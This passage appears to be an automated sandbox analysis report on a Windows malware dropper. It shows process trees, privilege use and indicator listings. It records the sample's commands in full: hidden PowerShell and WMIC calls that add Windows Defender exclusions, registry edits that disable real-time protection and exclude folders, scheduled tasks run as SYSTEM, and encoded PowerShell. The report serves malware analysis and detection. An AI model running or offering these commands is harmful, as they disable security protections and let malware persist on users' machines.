be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 NltQOYk.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 NltQOYk.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 NltQOYk.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.EXENltQOYk.exepowershell.exepowershell.exepid process 2476 powershell.exe 2808 powershell.EXE 2808 powershell.EXE 2808 powershell.EXE 2220 powershell.EXE 2220 powershell.EXE 2220 powershell.EXE 2096 powershell.exe 2288 powershell.EXE 2288 powershell.EXE 2288 powershell.EXE 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 1148 powershell.exe 3060 powershell.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe 2488 NltQOYk.exe -
Suspicious use of AdjustPrivilegeToken 63 IoCs
Processes:
powershell.exeWMIC.exepowershell.EXEpowershell.EXEpowershell.exeWMIC.exepowershell.EXEpowershell.exeWMIC.exepowershell.exeWMIC.exedescription pid process Token: SeDebugPrivilege 2476 powershell.exe Token: SeIncreaseQuotaPrivilege 2496 WMIC.exe Token: SeSecurityPrivilege 2496 WMIC.exe Token: SeTakeOwnershipPrivilege 2496 WMIC.exe Token: SeLoadDriverPrivilege 2496 WMIC.exe Token: SeSystemProfilePrivilege 2496 WMIC.exe Token: SeSystemtimePrivilege 2496 WMIC.exe Token: SeProfSingleProcessPrivilege 2496 WMIC.exe Token: SeIncBasePriorityPrivilege 2496 WMIC.exe Token: SeCreatePagefilePrivilege 2496 WMIC.exe Token: SeBackupPrivilege 2496 WMIC.exe Token: SeRestorePrivilege 2496 WMIC.exe Token: SeShutdownPrivilege 2496 WMIC.exe Token: SeDebugPrivilege 2496 WMIC.exe Token: SeSystemEnvironmentPrivilege 2496 WMIC.exe Token: SeRemoteShutdownPrivilege 2496 WMIC.exe Token: SeUndockPrivilege 2496 WMIC.exe Token: SeManageVolumePrivilege 2496 WMIC.exe Token: 33 2496 WMIC.exe Token: 34 2496 WMIC.exe Token: 35 2496 WMIC.exe Token: SeDebugPrivilege 2808 powershell.EXE Token: SeDebugPrivilege 2220 powershell.EXE Token: SeDebugPrivilege 2096 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2372 WMIC.exe Token: SeIncreaseQuotaPrivilege 2372 WMIC.exe Token: SeSecurityPrivilege 2372 WMIC.exe Token: SeTakeOwnershipPrivilege 2372 WMIC.exe Token: SeLoadDriverPrivilege 2372 WMIC.exe Token: SeSystemtimePrivilege 2372 WMIC.exe Token: SeBackupPrivilege 2372 WMIC.exe Token: SeRestorePrivilege 2372 WMIC.exe Token: SeShutdownPrivilege 2372 WMIC.exe Token: SeSystemEnvironmentPrivilege 2372 WMIC.exe Token: SeUndockPrivilege 2372 WMIC.exe Token: SeManageVolumePrivilege 2372 WMIC.exe Token: SeDebugPrivilege 2288 powershell.EXE Token: SeDebugPrivilege 1148 powershell.exe Token: SeAssignPrimaryTokenPrivilege 3052 WMIC.exe Token: SeIncreaseQuotaPrivilege 3052 WMIC.exe Token: SeSecurityPrivilege 3052 WMIC.exe Token: SeTakeOwnershipPrivilege 3052 WMIC.exe Token: SeLoadDriverPrivilege 3052 WMIC.exe Token: SeSystemtimePrivilege 3052 WMIC.exe Token: SeBackupPrivilege 3052 WMIC.exe Token: SeRestorePrivilege 3052 WMIC.exe Token: SeShutdownPrivilege 3052 WMIC.exe Token: SeSystemEnvironmentPrivilege 3052 WMIC.exe Token: SeUndockPrivilege 3052 WMIC.exe Token: SeManageVolumePrivilege 3052 WMIC.exe Token: SeDebugPrivilege 3060 powershell.exe Token: SeAssignPrimaryTokenPrivilege 776 WMIC.exe Token: SeIncreaseQuotaPrivilege 776 WMIC.exe Token: SeSecurityPrivilege 776 WMIC.exe Token: SeTakeOwnershipPrivilege 776 WMIC.exe Token: SeLoadDriverPrivilege 776 WMIC.exe Token: SeSystemtimePrivilege 776 WMIC.exe Token: SeBackupPrivilege 776 WMIC.exe Token: SeRestorePrivilege 776 WMIC.exe Token: SeShutdownPrivilege 776 WMIC.exe Token: SeSystemEnvironmentPrivilege 776 WMIC.exe Token: SeUndockPrivilege 776 WMIC.exe Token: SeManageVolumePrivilege 776 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exeInstall.exeforfiles.execmd.exepowershell.exetaskeng.execJUtoHq.exetaskeng.exepowershell.EXEdescription pid process target process PID 2104 wrote to memory of 2984 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe Install.exe PID 2104 wrote to memory of 2984 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe Install.exe PID 2104 wrote to memory of 2984 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe Install.exe PID 2104 wrote to memory of 2984 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe Install.exe PID 2104 wrote to memory of 2984 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe Install.exe PID 2104 wrote to memory of 2984 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe Install.exe PID 2104 wrote to memory of 2984 2104 65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe Install.exe PID 2984 wrote to memory of 2940 2984 Install.exe forfiles.exe PID 2984 wrote to memory of 2940 2984 Install.exe forfiles.exe PID 2984 wrote to memory of 2940 2984 Install.exe forfiles.exe PID 2984 wrote to memory of 2940 2984 Install.exe forfiles.exe PID 2984 wrote to memory of 2940 2984 Install.exe forfiles.exe PID 2984 wrote to memory of 2940 2984 Install.exe forfiles.exe PID 2984 wrote to memory of 2940 2984 Install.exe forfiles.exe PID 2940 wrote to memory of 2592 2940 forfiles.exe cmd.exe PID 2940 wrote to memory of 2592 2940 forfiles.exe cmd.exe PID 2940 wrote to memory of 2592 2940 forfiles.exe cmd.exe PID 2940 wrote to memory of 2592 2940 forfiles.exe cmd.exe PID 2940 wrote to memory of 2592 2940 forfiles.exe cmd.exe PID 2940 wrote to memory of 2592 2940 forfiles.exe cmd.exe PID 2940 wrote to memory of 2592 2940 forfiles.exe cmd.exe PID 2592 wrote to memory of 2476 2592 cmd.exe powershell.exe PID 2592 wrote to memory of 2476 2592 cmd.exe powershell.exe PID 2592 wrote to memory of 2476 2592 cmd.exe powershell.exe PID 2592 wrote to memory of 2476 2592 cmd.exe powershell.exe PID 2592 wrote to memory of 2476 2592 cmd.exe powershell.exe PID 2592 wrote to memory of 2476 2592 cmd.exe powershell.exe PID 2592 wrote to memory of 2476 2592 cmd.exe powershell.exe PID 2476 wrote to memory of 2496 2476 powershell.exe WMIC.exe PID 2476 wrote to memory of 2496 2476 powershell.exe WMIC.exe PID 2476 wrote to memory of 2496 2476 powershell.exe WMIC.exe PID 2476 wrote to memory of 2496 2476 powershell.exe WMIC.exe PID 2476 wrote to memory of 2496 2476 powershell.exe WMIC.exe PID 2476 wrote to memory of 2496 2476 powershell.exe WMIC.exe PID 2476 wrote to memory of 2496 2476 powershell.exe WMIC.exe PID 2984 wrote to memory of 2488 2984 Install.exe schtasks.exe PID 2984 wrote to memory of 2488 2984 Install.exe schtasks.exe PID 2984 wrote to memory of 2488 2984 Install.exe schtasks.exe PID 2984 wrote to memory of 2488 2984 Install.exe schtasks.exe PID 2984 wrote to memory of 2488 2984 Install.exe schtasks.exe PID 2984 wrote to memory of 2488 2984 Install.exe schtasks.exe PID 2984 wrote to memory of 2488 2984 Install.exe schtasks.exe PID 2724 wrote to memory of 2336 2724 taskeng.exe cJUtoHq.exe PID 2724 wrote to memory of 2336 2724 taskeng.exe cJUtoHq.exe PID 2724 wrote to memory of 2336 2724 taskeng.exe cJUtoHq.exe PID 2724 wrote to memory of 2336 2724 taskeng.exe cJUtoHq.exe PID 2336 wrote to memory of 2816 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 2816 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 2816 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 2816 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 1904 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 1904 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 1904 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 1904 2336 cJUtoHq.exe schtasks.exe PID 2740 wrote to memory of 2808 2740 taskeng.exe powershell.EXE PID 2740 wrote to memory of 2808 2740 taskeng.exe powershell.EXE PID 2740 wrote to memory of 2808 2740 taskeng.exe powershell.EXE PID 2808 wrote to memory of 828 2808 powershell.EXE gpupdate.exe PID 2808 wrote to memory of 828 2808 powershell.EXE gpupdate.exe PID 2808 wrote to memory of 828 2808 powershell.EXE gpupdate.exe PID 2336 wrote to memory of 472 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 472 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 472 2336 cJUtoHq.exe schtasks.exe PID 2336 wrote to memory of 472 2336 cJUtoHq.exe schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe"C:\Users\Admin\AppData\Local\Temp\65122561ef77967e63d5f3f5cbe450ff891b3fb47a206e305e838c3b491f7585.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS1A16.tmp\Install.exe.\Install.exe /Bmdideu "525403" /S2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bwrroZoeZRoQVpyAcj" /SC once /ST 02:42:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\cJUtoHq.exe\" ZO /SMsite_idXzr 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\system32\taskeng.exetaskeng.exe {956C44CF-0AEA-4899-9131-F504CD8EC1B3} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\cJUtoHq.exeC:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\cJUtoHq.exe ZO /SMsite_idXzr 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "goxrcMyIJ" /SC once /ST 00:48:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "goxrcMyIJ"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "goxrcMyIJ"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gIqCjxBIZ" /SC once /ST 01:08:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gIqCjxBIZ"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gIqCjxBIZ"3⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\heXdjphsLYtTYYrU\wHxMNpVA\fCsyGXOGeyHtGQIc.wsf"3⤵
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\heXdjphsLYtTYYrU\wHxMNpVA\fCsyGXOGeyHtGQIc.wsf"3⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
